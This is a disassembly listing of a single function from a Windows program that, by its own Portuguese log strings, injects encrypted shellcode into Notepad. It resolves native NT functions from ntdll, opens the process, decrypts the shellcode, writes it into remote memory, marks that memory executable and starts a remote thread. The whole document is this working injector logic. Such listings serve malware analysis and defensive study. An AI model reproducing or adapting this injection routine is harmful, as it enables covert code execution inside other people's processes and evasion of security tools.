Function at 0x401670
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x80]
call sym.__main
call sym.GetNotepadPID__
mov dword [0x004cf030], eax
mov eax, dword [0x004cf030]
test eax, eax
jne 0x4016a5
mov eax, 1
jmp 0x401d62
lea rdx, str.Bloco_de_Notas_aberto_com_PID:
mov rcx, qword [0x004ab170]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [0x004cf030]
mov edx, eax
call method.std::ostream.operator___unsigned_long_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x78], rax
cmp qword [rbp + 0x78], 0
jne 0x40171e
lea rdx, str.Erro_ao_carregar_ntdll.dll
mov rcx, qword [0x004ab150]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401d62
mov rax, qword [rbp + 0x78]
lea rdx, str.NtOpenProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x78]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x78]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x78]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x78]
lea rdx, str.NtCreateThreadEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x78]
lea rdx, str.NtFreeVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x70], 0
je 0x4017ea
cmp qword [rbp + 0x68], 0
je 0x4017ea
cmp qword [rbp + 0x60], 0
je 0x4017ea
cmp qword [rbp + 0x58], 0
je 0x4017ea
cmp qword [rbp + 0x50], 0
je 0x4017ea
cmp qword [rbp + 0x48], 0
jne 0x401816
lea rdx, str.Erro_ao_obter_endereos_das_funes_da_Native_API
mov rcx, qword [0x004ab150]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401d62
lea rdx, [rbp + 0x10]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov dword [rbp + 0x10], 0x30
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0
mov dword [rbp + 0x28], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov eax, dword [0x004cf030]
mov eax, eax
mov qword [rbp], rax
mov qword [rbp + 8], 0
mov rcx, rbp
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x70]
mov r9, rcx
mov r8, rdx
mov edx, 0x1f0fff
lea rcx, [0x004cf040]
call rax
mov dword [0x004cf050], eax
mov eax, dword [0x004cf050]
test eax, eax
jns 0x4018f7
lea rdx, str.Erro_ao_abrir_a_handle_do_processo__Erro:
mov rcx, qword [0x004ab150]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [0x004cf050]
mov edx, eax
call method.std::ostream.operator___long_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x401d62
lea rdx, str.Pegamos_a_handle_do_processo___0x
mov rcx, qword [0x004ab170]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [method.std.hex_std::ios_base_]
mov rdx, rax
call method.std::ostream.operator___std::ios_base____std::ios_base__
mov rcx, rax
mov rax, qword [0x004cf040]
mov rdx, rax
call method.std::ostream.operator___void_const_
mov rcx, rax
lea rax, [method.std.dec_std::ios_base_]
mov rdx, rax
call method.std::ostream.operator___std::ios_base____std::ios_base__
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, 0x1ff
lea rcx, [0x004a2020]
call sym.decryptShellcode_unsigned_char__unsigned_long_long_
mov qword [rbp - 0x18], 0x1ff
mov rcx, qword [0x004cf040]
lea rdx, [rbp - 0x18]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov rax, qword [rbp + 0x68]
mov r9, rdx
mov r8d, 0
lea rdx, [0x004cf038]
call rax
mov dword [0x004cf050], eax
mov eax, dword [0x004cf050]
test eax, eax
jns 0x4019f8
lea rdx, str.Erro_ao_alocar_memria_no_processo_remoto._Erro:
mov rcx, qword [0x004ab150]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [0x004cf050]
mov edx, eax
call method.std::ostream.operator___long_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [0x004cf040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x401d62
lea rdx, str.Memria_alocada
mov rcx, qword [0x004ab170]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp - 0x18]
mov rdx, rax
call method.std::ostream.operator___unsigned_long_long_
lea rdx, str._bytes_com_permisso_de_rwx
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov qword [rbp - 0x20], 0
mov rdx, qword [0x004cf038]
mov rcx, qword [0x004cf040]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x60]
mov r9d, 0x1ff
lea r8, [0x004a2020]
call rax
mov dword [0x004cf050], eax
mov eax, dword [0x004cf050]
test eax, eax
jns 0x401aea
lea rdx, str.Erro_ao_escrever_memria_no_processo_remoto._Erro:
mov rcx, qword [0x004ab150]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [0x004cf050]
mov edx, eax
call method.std::ostream.operator___long_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rcx, qword [0x004cf040]
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x48]
mov r9d, 0x8000
mov r8, rdx
lea rdx, [0x004cf038]
call rax
mov rax, qword [0x004cf040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x401d62
lea rdx, str.Shellcode_escrito
mov rcx, qword [0x004ab170]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp - 0x20]
mov rdx, rax
call method.std::ostream.operator___unsigned_long_long_
lea rdx, str._bytes
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rcx, qword [0x004cf040]
lea rdx, [rbp - 0x18]
lea rax, [0x004cf054]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x58]
mov r9d, 0x20
mov r8, rdx
lea rdx, [0x004cf038]
call rax
mov dword [0x004cf050], eax
mov eax, dword [0x004cf050]
test eax, eax
jns 0x401bd7
lea rdx, str.Erro_ao_alterar_proteo_da_memria._Erro:
mov rcx, qword [0x004ab150]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [0x004cf050]
mov edx, eax
call method.std::ostream.operator___long_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rcx, qword [0x004cf040]
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x48]
mov r9d, 0x8000
mov r8, rdx
lea rdx, [0x004cf038]
call rax
mov rax, qword [0x004cf040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x401d62
lea rdx, str.Memria_protegida_como_EXECUTE_READ
mov rcx, qword [0x004ab170]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [0x004cf038]
mov rdx, qword [0x004cf040]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x50]
mov r9, rdx
mov r8d, 0
mov edx, 0x1f03ff
lea rcx, [0x004cf048]
call rax
mov dword [0x004cf050], eax
mov eax, dword [0x004cf050]
test eax, eax
jns 0x401cdc
lea rdx, str.Erro_ao_criar_thread_remota._Erro:
mov rcx, qword [0x004ab150]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [0x004cf050]
mov edx, eax
call method.std::ostream.operator___long_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rcx, qword [0x004cf040]
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x48]
mov r9d, 0x8000
mov r8, rdx
lea rdx, [0x004cf038]
call rax
mov rax, qword [0x004cf040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x401d62
lea rdx, str.Thread_criada_no_processo_remoto
mov rcx, qword [0x004ab170]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [0x004cf048]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [0x004cf048]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rcx, qword [0x004cf040]
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x48]
mov r9d, 0x8000
mov r8, rdx
lea rdx, [0x004cf038]
call rax
mov rax, qword [0x004cf040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x108
pop rdi
pop rbp
ret